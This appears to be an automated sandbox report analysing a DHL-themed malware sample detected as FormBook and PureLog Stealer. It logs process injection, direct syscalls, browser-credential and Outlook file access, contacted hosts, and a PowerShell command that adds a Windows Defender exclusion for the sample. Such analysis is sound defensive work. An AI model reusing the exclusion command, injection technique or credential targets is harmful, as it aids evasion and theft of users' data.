Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtClose: Direct from: 0x77762B6C
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtReadVirtualMemory: Direct from: 0x77762E8C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtCreateKey: Direct from: 0x77762C6C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtQuerySystemInformation: Direct from: 0x777648CC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtAllocateVirtualMemory: Direct from: 0x777648EC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtQueryVolumeInformationFile: Direct from: 0x77762F2C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtOpenSection: Direct from: 0x77762E0C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtDeviceIoControlFile: Direct from: 0x77762AEC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtAllocateVirtualMemory: Direct from: 0x77762BEC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtQueryInformationToken: Direct from: 0x77762CAC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtTerminateThread: Direct from: 0x77762FCC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtCreateFile: Direct from: 0x77762FEC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtOpenFile: Direct from: 0x77762DCC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtOpenKeyEx: Direct from: 0x77762B9C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtSetInformationProcess: Direct from: 0x77762C5C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtProtectVirtualMemory: Direct from: 0x77762F9C Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Section loaded: NULL target: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Section loaded: NULL target: C:\Windows\SysWOW64\shutdown.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: NULL target: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: NULL target: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\shutdown.exe Thread register set: target process: 1988 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\shutdown.exe Thread APC queued: target process: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: F5A008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe" Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\SysWOW64\shutdown.exe" Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000002.2454273785.0000000001981000.00000002.00000001.00040000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000000.1375110139.0000000001980000.00000002.00000001.00040000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000015.00000000.1548474964.0000000001900000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000002.2454273785.0000000001981000.00000002.00000001.00040000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000000.1375110139.0000000001980000.00000002.00000001.00040000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000015.00000000.1548474964.0000000001900000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000002.2454273785.0000000001981000.00000002.00000001.00040000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000000.1375110139.0000000001980000.00000002.00000001.00040000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000015.00000000.1548474964.0000000001900000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: ?Program Manager
Source: kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000002.2454273785.0000000001981000.00000002.00000001.00040000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000000.1375110139.0000000001980000.00000002.00000001.00040000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000015.00000000.1548474964.0000000001900000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Queries volume information: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000015.00000002.2458227269.0000000005780000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1462280600.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2454723400.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1465149563.0000000001B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2451180348.0000000003280000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2455047423.0000000006230000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2455041257.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1465365061.0000000004DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2ac8f4c.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2d6bbdc.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2d6fbf4.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2d77c0c.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.51c0000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2ac8f4c.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2d77c0c.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2ad9bc4.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.51c0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2ad9bc4.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2a987b4.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.1249657541.00000000051C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1241635275.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1241635275.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1241635275.0000000002D6B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\shutdown.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\shutdown.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000015.00000002.2458227269.0000000005780000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1462280600.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2454723400.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1465149563.0000000001B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2451180348.0000000003280000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2455047423.0000000006230000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2455041257.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1465365061.0000000004DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2ac8f4c.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2d6bbdc.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2d6fbf4.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2d77c0c.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.51c0000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2ac8f4c.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2d77c0c.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2ad9bc4.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.51c0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2ad9bc4.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Dhl-Awb 0865252 copy.exe.2a987b4.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.1249657541.00000000051C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1241635275.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1241635275.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1241635275.0000000002D6B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1436293 Sample: Dhl-Awb 0865252 copy.exe Startdate: 04/05/2024 Architecture: WINDOWS Score: 100 36 www.sacredcoven.video 2->36 38 www.prizesupermarket.com 2->38 40 7 other IPs or domains 2->40 48 Snort IDS alert for network traffic 2->48 50 Malicious sample detected (through community Yara rule) 2->50 52 Multi AV Scanner detection for submitted file 2->52 54 9 other signatures 2->54 10 Dhl-Awb 0865252 copy.exe 4 2->10         started        signatures3 process4 signatures5 58 Writes to foreign memory regions 10->58 60 Allocates memory in foreign processes 10->60 62 Adds a directory exclusion to Windows Defender 10->62 64 Injects a PE file into a foreign processes 10->64 13 RegSvcs.exe 10->13         started        16 powershell.exe 23 10->16         started        18 RegSvcs.exe 10->18         started        20 2 other processes 10->20 process6 signatures7 74 Maps a DLL or memory area into another process 13->74 22 kyiMYcMGDSlDbpzjCWbWMcLM.exe 13->22 injected 76 Loading BitLocker PowerShell Module 16->76 25 conhost.exe 16->25         started        process8 signatures9 56 Found direct / indirect Syscall (likely to bypass EDR) 22->56 27 shutdown.exe 13 22->27         started        process10 signatures11 66 Tries to steal Mail credentials (via file / registry access) 27->66 68 Tries to harvest and steal browser information (history, passwords, etc) 27->68 70 Modifies the context of a thread in another process (thread injection) 27->70 72 2 other signatures 27->72 30 kyiMYcMGDSlDbpzjCWbWMcLM.exe 27->30 injected 34 firefox.exe 27->34         started        process12 dnsIp13 42 www.sacredcoven.video 185.151.30.215, 49722, 49723, 49724 TWENTYIGB United Kingdom 30->42 44 miagronorte.com.ar 200.58.112.243, 49718, 49719, 49720 DattateccomAR Argentina 30->44 46 2 other IPs or domains 30->46 78 Found direct / indirect Syscall (likely to bypass EDR) 30->78 signatures14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

